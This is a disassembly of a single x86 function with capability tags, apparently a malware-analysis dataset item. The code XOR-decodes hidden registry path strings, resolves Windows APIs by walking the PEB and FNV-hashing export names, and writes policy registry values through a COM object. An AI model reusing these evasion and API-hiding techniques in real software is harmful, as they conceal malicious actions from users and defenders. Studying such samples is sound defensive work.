Function at 0x415790
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x507a66
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xb4
push 2
push 0
mov dword [ebp - 0x88], 1
mov dword [ebp - 0xb8], 0x35378eac
mov dword [ebp - 0xb4], 0x11d2683f
mov dword [ebp - 0xb0], 0xc0009aa8
mov dword [ebp - 0xac], 0xa2cfbb4f
call dword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
je 0x4157fe
cmp eax, 1
je 0x4157fe
cmp eax, 0x80010106
jne 0x4166b4
mov dword [ebp - 0x8c], 0
mov dword [ebp - 4], 1
lea eax, [ebp - 0x8c]
push eax
push 0x52836c
push 1
push 0
push 0x52115c
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov eax, dword [ebp - 0x8c]
push 1
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
test eax, eax
js 0x41667d
mov eax, dword [ebp - 0x8c]
lea edx, [ebp - 0x9c]
push edx
push 2
push eax
mov ecx, dword [eax]
call dword [ecx + 0x3c]
test eax, eax
js 0x41667d
mov dword [ebp - 0x79], 0xbeafa7b4
xor ecx, ecx
mov dword [ebp - 0x75], 0xabbfadbc
mov dword [ebp - 0x71], 0x9e9ea0b3
mov dword [ebp - 0x6d], 0x939c979a
mov dword [ebp - 0x69], 0x93b4a484
mov dword [ebp - 0x65], 0x8d928e98
mov dword [ebp - 0x61], 0x5e756690
mov dword [ebp - 0x5d], 0x626b6d54
mov dword [ebp - 0x59], 0x2a7a7f68
mov dword [ebp - 0x55], 0x6b6b694f
mov dword [ebp - 0x51], 0x60747461
mov dword [ebp - 0x4d], 0x756d514f
mov dword [ebp - 0x49], 0x736a6d7b
mov dword [ebp - 0x45], 0x6e7274
mov byte [ebp - 0x41], 1
lea eax, [ecx - 0x19]
xor byte [ebp + ecx - 0x79], al
inc ecx
cmp ecx, 0x37
jb 0x4158c5
push ebx
push esi
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
lea eax, [ebp - 0xbc]
push edi
push 0
push eax
push 0
push 0x20006
push 0
push 0
push 0
lea eax, [ebp - 0x79]
mov byte [ebp - 0x41], 0
push eax
push dword [ebp - 0x9c]
call ebx
test eax, eax
jne 0x4159f8
mov dword [ebp - 0x23], 0x868a90a2
xor ecx, ecx
mov dword [ebp - 0x1f], 0x81849f9e
mov dword [ebp - 0x1b], 0xb7ae8381
mov dword [ebp - 0x17], 0x9890808b
mov dword [ebp - 0x13], 0x94969184
mov word [ebp - 0xf], 0x88
mov byte [ebp - 0xd], 1
lea eax, [ecx - 0x19]
xor byte [ebp + ecx - 0x23], al
inc ecx
cmp ecx, 0x15
jb 0x415938
mov eax, dword fs:[0x30]
mov byte [ebp - 0xd], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x3c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0xa0], ecx
cmp ecx, esi
je 0x4159b9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4159b9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
lea ecx, [ecx]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4159b2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x415995
cmp esi, 0xda5113dc
je 0x4159bd
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x415980
mov eax, dword [eax]
jmp 0x415955
mov eax, dword [ebp - 0xa0]
mov edx, dword [ebp - 0x3c]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x88]
push ecx
push 4
push 0
lea ecx, [ebp - 0x23]
add eax, edx
push ecx
push dword [ebp - 0xbc]
call eax
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov dword [ebp - 0x84], 0xbeafa7b4
xor ecx, ecx
mov dword [ebp - 0x80], 0xabbfadbc
mov dword [ebp - 0x7c], 0x9e9ea0b3
mov dword [ebp - 0x78], 0x939c979a
mov dword [ebp - 0x74], 0x93b4a484
mov dword [ebp - 0x70], 0x8d928e98
mov dword [ebp - 0x6c], 0x5e756690
mov dword [ebp - 0x68], 0x626b6d54
mov dword [ebp - 0x64], 0x2a7a7f68
mov dword [ebp - 0x60], 0x6b6b694f
mov dword [ebp - 0x5c], 0x60747461
mov dword [ebp - 0x58], 0x756d514f
mov dword [ebp - 0x54], 0x736a6d7b
mov dword [ebp - 0x50], 0x426e7274
mov dword [ebp - 0x4c], 0x4755585a
mov dword [ebp - 0x48], 0x494c574d
mov dword [ebp - 0x44], 0x1005b49
lea eax, [ecx - 0x19]
xor byte [ebp + ecx - 0x84], al
inc ecx
cmp ecx, 0x42
jb 0x415a74
push 0
lea eax, [ebp - 0xc0]
mov byte [ebp - 0x41], 0
push eax
push 0
push 0x20006
push 0
push 0
push 0
lea eax, [ebp - 0x84]
push eax
push dword [ebp - 0x9c]
call ebx
test eax, eax
jne 0x415b8d
mov word [ebp - 0xa0], ax
xor ecx, ecx
mov dword [ebp - 0x91], 0x8c9082
mov byte [ebp - 0x8d], 1
nop
lea eax, [ecx - 0x19]
xor byte [ebp + ecx - 0x91], al
inc ecx
cmp ecx, 3
jb 0x415ad0
mov eax, dword fs:[0x30]
mov byte [ebp - 0x8d], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x40], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x3c], ecx
cmp ecx, esi
je 0x415b54
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x415b54
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x415b4d
lea ecx, [ecx]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x415b30
cmp esi, 0xda5113dc
je 0x415b58
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x415b18
mov eax, dword [eax]
jmp 0x415af3
mov eax, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x40]
push 2
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0xa0]
push ecx
push 1
push 0
lea ecx, [ebp - 0x91]
add eax, edx
push ecx
push dword [ebp - 0xc0]
call eax
mov dword [ebp - 0x6e], 0xbeafa7b4
xor ecx, ecx
mov dword [ebp - 0x6a], 0xabbfadbc
mov dword [ebp - 0x66], 0x9e9ea0b3
mov dword [ebp - 0x62], 0x939c979a
mov dword [ebp - 0x5e], 0x93b4a484
mov dword [ebp - 0x5a], 0x8d928e98
mov dword [ebp - 0x56], 0x5e756690
mov dword [ebp - 0x52], 0x626b6d54
mov dword [ebp - 0x4e], 0x2a7a7f68
mov dword [ebp - 0x4a], 0x6b6b694f
mov dword [ebp - 0x46], 0x60747461
mov word [ebp - 0x42], 0x100
lea eax, [ecx - 0x19]
xor byte [ebp + ecx - 0x6e], al
inc ecx
cmp ecx, 0x2c
jb 0x415be2
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0xa4]
push eax
push 0x20006
push 0
lea eax, [ebp - 0x6e]
mov byte [ebp - 0x41], 0
push eax
push dword [ebp - 0x9c]
call ebx
test eax, eax
jne 0x415df0
mov dword [ebp - 0x20], 0x8b9a81a3
xor ecx, ecx
mov dword [ebp - 0x1c], 0xaf888089
mov dword [ebp - 0x18], 0xa1988481
mov dword [ebp - 0x14], 0x97828d83
mov dword [ebp - 0x10], 0x1009d85
lea eax, [ecx - 0x19]
xor byte [ebp + ecx - 0x20], al
inc ecx
cmp ecx, 0x12
jb 0x415c40
mov eax, dword fs:[0x30]
mov byte [ebp - 0xd], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
lea ecx, [ecx]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x3c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x40], ecx
cmp ecx, esi
je 0x415cc4
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x415cc4
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x415cbd
lea ebx, [ebx]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x415ca0
cmp esi, 0xda5113dc
je 0x415cc8
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x415c85
mov eax, dword [eax]
jmp 0x415c60
mov eax, dword [ebp - 0x40]
mov edx, dword [ebp - 0x3c]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x88]
push ecx
push 4
push 0
lea ecx, [ebp - 0x20]
add eax, edx
push ecx
push dword [ebp - 0xa4]
call eax
mov dword [ebp - 0x2a], 0x8b9a81a3
xor ecx, ecx
mov dword [ebp - 0x26], 0xbc888089
mov dword [ebp - 0x22], 0x9b858580
mov dword [ebp - 0x1e], 0x8f99919d
mov dword [ebp - 0x1a], 0x939299a3
mov dword [ebp - 0x16], 0x9dbc9b95
mov dword [ebp - 0x12], 0x6c6e698b
mov word [ebp - 0xe], 0x100
lea eax, [ecx - 0x19]
xor byte [ebp + ecx - 0x2a], al
inc ecx
cmp ecx, 0x1c
jb 0x415d33
mov eax, dword fs:[0x30]
mov byte [ebp - 0xd], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x3c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x40], ecx
cmp ecx, esi
je 0x415db4
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x415db4
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x415dad
lea ebx, [ebx]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x415d90
cmp esi, 0xda5113dc
je 0x415db8
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x415d75
mov eax, dword [eax]
jmp 0x415d50
mov eax, dword [ebp - 0x40]
mov edx, dword [ebp - 0x3c]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x88]
push ecx
push 4
push 0
lea ecx, [ebp - 0x2a]
add eax, edx
push ecx
push dword [ebp - 0xa4]
call eax
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0x38], 0xbeafa7b4
xor ecx, ecx
mov dword [ebp - 0x34], 0xabbfadbc
mov dword [ebp - 0x30], 0x9e9ea0b3
mov dword [ebp - 0x2c], 0x939c979a
mov dword [ebp - 0x28], 0x93b4a484
mov dword [ebp - 0x24], 0x8d928e98
mov dword [ebp - 0x20], 0x5e756690
mov dword [ebp - 0x1c], 0x626b6d54
mov dword [ebp - 0x18], 0x567a7f68
mov dword [ebp - 0x14], 0x7a7e7558
mov dword [ebp - 0x10], 0x1007d6a
nop
lea eax, [ecx - 0x19]
xor byte [ebp + ecx - 0x38], al
inc ecx
cmp ecx, 0x2a
jb 0x415e40
lea eax, [ebp - 0xa8]
mov byte [ebp - 0xd], 0
push eax
push 0x20006
push 0
lea eax, [ebp - 0x38]
push eax
push dword [ebp - 0x9c]
call ebx
test eax, eax
jne 0x415f6a
cmp dword [ebp - 0x88], 1
mov dword [ebp - 0x1f], 0x888886a2
setne al
mov dword [ebp - 0x1b], 0x83be8987
mov dword [ebp - 0xa0], eax
xor ecx, ecx
mov dword [ebp - 0x17], 0xa185828e
mov dword [ebp - 0x13], 0x93908690
mov word [ebp - 0xf], 0x99
mov byte [ebp - 0xd], 1
jmp 0x415eb0
lea eax, [ecx - 0x19]
xor byte [ebp + ecx - 0x1f], al
inc ecx
cmp ecx, 0x11
jb 0x415eb0
mov eax, dword fs:[0x30]
mov byte [ebp - 0xd], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
lea ecx, [ecx]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x3c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x40], ecx
cmp ecx, esi
je 0x415f34
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x415f34
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x415f2d
lea ebx, [ebx]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x415f10
cmp esi, 0xda5113dc
je 0x415f38
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x415ef5
mov eax, dword [eax]
jmp 0x415ed0
mov eax, dword [ebp - 0x40]
mov edx, dword [ebp - 0x3c]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0xa0]
push ecx
push 4
push 0
lea ecx, [ebp - 0x1f]
add eax, edx
push ecx
push dword [ebp - 0xa8]
call eax
mov dword [ebp - 0x83], 0xbeafa7b4
xor ecx, ecx
mov dword [ebp - 0x7f], 0xabbfadbc
mov dword [ebp - 0x7b], 0x9e9ea0b3
mov dword [ebp - 0x77], 0x939c979a
mov dword [ebp - 0x73], 0x93b4a484
mov dword [ebp - 0x6f], 0x8d928e98
mov dword [ebp - 0x6b], 0x5e756690
mov dword [ebp - 0x67], 0x626b6d54
mov dword [ebp - 0x63], 0x2a7a7f68
mov dword [ebp - 0x5f], 0x6b6b694f
mov dword [ebp - 0x5b], 0x60747461
mov dword [ebp - 0x57], 0x7770464f
mov dword [ebp - 0x53], 0x734d357b
mov dword [ebp - 0x4f], 0x4e3d7976
mov dword [ebp - 0x4b], 0x47554f6d
mov dword [ebp - 0x47], 0x494c5040
mov word [ebp - 0x43], 0x49
mov byte [ebp - 0x41], 1
lea esp, [esp]
lea eax, [ecx - 0x19]
xor byte [ebp + ecx - 0x83], al
inc ecx
cmp ecx, 0x41
jb 0x415ff0
push 0
lea eax, [ebp - 0x98]
mov byte [ebp - 0x41], 0
push eax
push 0
push 0x20006
push 0
push 0
push 0
lea eax, [ebp - 0x83]
push eax
push dword [ebp - 0x9c]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov dword [ebp - 0x27], 0x8b9a81a3
xor ecx, ecx
mov dword [ebp - 0x23], 0xac888089
mov dword [ebp - 0x1f], 0x8490988a
mov dword [ebp - 0x1b], 0xbb879b9a
mov dword [ebp - 0x17], 0x8e909698
mov dword [ebp - 0x13], 0x90948e94
mov word [ebp - 0xf], 0x98
mov byte [ebp - 0xd], 1
lea eax, [ecx - 0x19]
xor byte [ebp + ecx - 0x27], al
inc ecx
cmp ecx, 0x19
jb 0x416063
mov eax, dword fs:[0x30]
mov byte [ebp - 0xd], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x3c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x40], ecx
cmp ecx, esi
je 0x4160e4
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4160e4
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4160dd
lea ebx, [ebx]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4160c0
cmp esi, 0xda5113dc
je 0x4160e8
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4160a5
mov eax, dword [eax]
jmp 0x416080
mov eax, dword [ebp - 0x40]
mov edx, dword [ebp - 0x3c]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x88]
push ecx
push 4
push 0
lea ecx, [ebp - 0x27]
add eax, edx
push ecx
push dword [ebp - 0x98]
call eax
mov dword [ebp - 0x27], 0x8b9a81a3
xor ecx, ecx
mov dword [ebp - 0x23], 0xa1888089
mov dword [ebp - 0x1f], 0x9192b181
mov dword [ebp - 0x1b], 0xa6868796
mov dword [ebp - 0x17], 0x9f8d9785
mov dword [ebp - 0x13], 0x91948898
mov word [ebp - 0xf], 0x91
mov byte [ebp - 0xd], 1
lea eax, [ecx - 0x19]
xor byte [ebp + ecx - 0x27], al
inc ecx
cmp ecx, 0x19
jb 0x416150
mov eax, dword fs:[0x30]
mov byte [ebp - 0xd], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
lea ecx, [ecx]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x3c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x40], ecx
cmp ecx, esi
je 0x4161d4
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4161d4
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4161cd
lea ebx, [ebx]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4161b0
cmp esi, 0xda5113dc
je 0x4161d8
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x416195
mov eax, dword [eax]
jmp 0x416170
mov eax, dword [ebp - 0x40]
mov edx, dword [ebp - 0x3c]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x88]
push ecx
push 4
push 0
lea ecx, [ebp - 0x27]
add eax, edx
push ecx
push dword [ebp - 0x98]
call eax
mov dword [ebp - 0x29], 0x8b9a81a3
xor ecx, ecx
mov dword [ebp - 0x25], 0xbd888089
mov dword [ebp - 0x21], 0xbd9f918c
mov dword [ebp - 0x1d], 0x9790a69d
mov dword [ebp - 0x19], 0x97908c9b
mov dword [ebp - 0x15], 0x9f93b99e
mov dword [ebp - 0x11], 0x646c9d
mov byte [ebp - 0xd], 1
lea eax, [ecx - 0x19]
xor byte [ebp + ecx - 0x29], al
inc ecx
cmp ecx, 0x1b
jb 0x416241
mov eax, dword fs:[0x30]
mov byte [ebp - 0xd], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov edi, edi
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x3c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x40], ecx
cmp ecx, esi
je 0x4162c4
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4162c4
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4162bd
lea ebx, [ebx]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4162a0
cmp esi, 0xda5113dc
je 0x4162c8
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x416285
mov eax, dword [eax]
jmp 0x416260
mov eax, dword [ebp - 0x40]
mov edx, dword [ebp - 0x3c]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x88]
push ecx
push 4
push 0
lea ecx, [ebp - 0x29]
add eax, edx
push ecx
push dword [ebp - 0x98]
call eax
mov dword [ebp - 0x27], 0x8b9a81a3
xor ecx, ecx
mov dword [ebp - 0x23], 0xbc888089
mov dword [ebp - 0x1f], 0x869d918a
mov dword [ebp - 0x1b], 0xbb90999a
mov dword [ebp - 0x17], 0x8e909698
mov dword [ebp - 0x13], 0x90948e94
mov word [ebp - 0xf], 0x98
mov byte [ebp - 0xd], 1
lea eax, [ecx - 0x19]
xor byte [ebp + ecx - 0x27], al
inc ecx
cmp ecx, 0x19
jb 0x416330
mov eax, dword fs:[0x30]
mov byte [ebp - 0xd], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
lea ecx, [ecx]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x3c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x40], ecx
cmp ecx, esi
je 0x4163b4
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4163b4
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4163ad
lea ebx, [ebx]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x416390
cmp esi, 0xda5113dc
je 0x4163b8
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x416375
mov eax, dword [eax]
jmp 0x416350
mov eax, dword [ebp - 0x40]
mov edx, dword [ebp - 0x3c]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x88]
push ecx
push 4
push 0
lea ecx, [ebp - 0x27]
add eax, edx
push ecx
push dword [ebp - 0x98]
call eax
mov dword [ebp - 0x23], 0x8b9a81a3
xor ecx, ecx
mov dword [ebp - 0x1f], 0xa7888089
mov dword [ebp - 0x1b], 0xa2a7b1a0
mov dword [ebp - 0x17], 0x93819b81
mov dword [ebp - 0x13], 0x95908c94
mov word [ebp - 0xf], 0x95
mov byte [ebp - 0xd], 1
lea esp, [esp]
lea eax, [ecx - 0x19]
xor byte [ebp + ecx - 0x23], al
inc ecx
cmp ecx, 0x15
jb 0x416420
mov eax, dword fs:[0x30]
mov byte [ebp - 0xd], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
lea ecx, [ecx]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x3c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x40], ecx
cmp ecx, esi
je 0x4164a4
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4164a4
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x41649d
lea ebx, [ebx]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x416480
cmp esi, 0xda5113dc
je 0x4164a8
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x416465
mov eax, dword [eax]
jmp 0x416440
mov eax, dword [ebp - 0x40]
mov edx, dword [ebp - 0x3c]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x88]
push ecx
push 4
push 0
lea ecx, [ebp - 0x23]
add eax, edx
push ecx
push dword [ebp - 0x98]
call eax
mov dword [ebp - 0x29], 0x8b9a81a3
xor ecx, ecx
mov dword [ebp - 0x25], 0xbc888089
mov dword [ebp - 0x21], 0x80a6878e
mov dword [ebp - 0x1d], 0xb890809a
mov dword [ebp - 0x19], 0x9c908c98
mov dword [ebp - 0x15], 0x8a9c9f92
mov dword [ebp - 0x11], 0x6f6f96
mov byte [ebp - 0xd], 1
lea eax, [ecx - 0x19]
xor byte [ebp + ecx - 0x29], al
inc ecx
cmp ecx, 0x1b
jb 0x416511
mov eax, dword fs:[0x30]
mov byte [ebp - 0xd], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov edi, edi
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x3c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x40], ecx
cmp ecx, esi
je 0x416594
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x416594
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x41658d
lea ebx, [ebx]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x416570
cmp esi, 0xda5113dc
je 0x416598
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x416555
mov eax, dword [eax]
jmp 0x416530
mov eax, dword [ebp - 0x40]
mov edx, dword [ebp - 0x3c]
push 4
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
lea ecx, [ebp - 0x88]
push ecx
push 4
push 0
lea ecx, [ebp - 0x29]
add eax, edx
push ecx
push dword [ebp - 0x98]
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x3c], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x40], ecx
cmp ecx, esi
je 0x416639
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x416639
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
jmp 0x416600
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x416632
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x416615
cmp esi, 0x1242154a
je 0x41663d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x416600
mov eax, dword [eax]
jmp 0x4165d6
mov eax, dword [ebp - 0x40]
mov edx, dword [ebp - 0x3c]
push dword [ebp - 0x9c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword [ebp - 0x8c]
lea edx, [ebp - 0xb8]
push 0x52834c
push edx
push 1
mov ecx, dword [eax]
push 1
push eax
call dword [ecx + 0x1c]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x8c]
test ecx, ecx
je 0x416697
mov dword [ebp - 0x8c], 0
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x8c]
test eax, eax
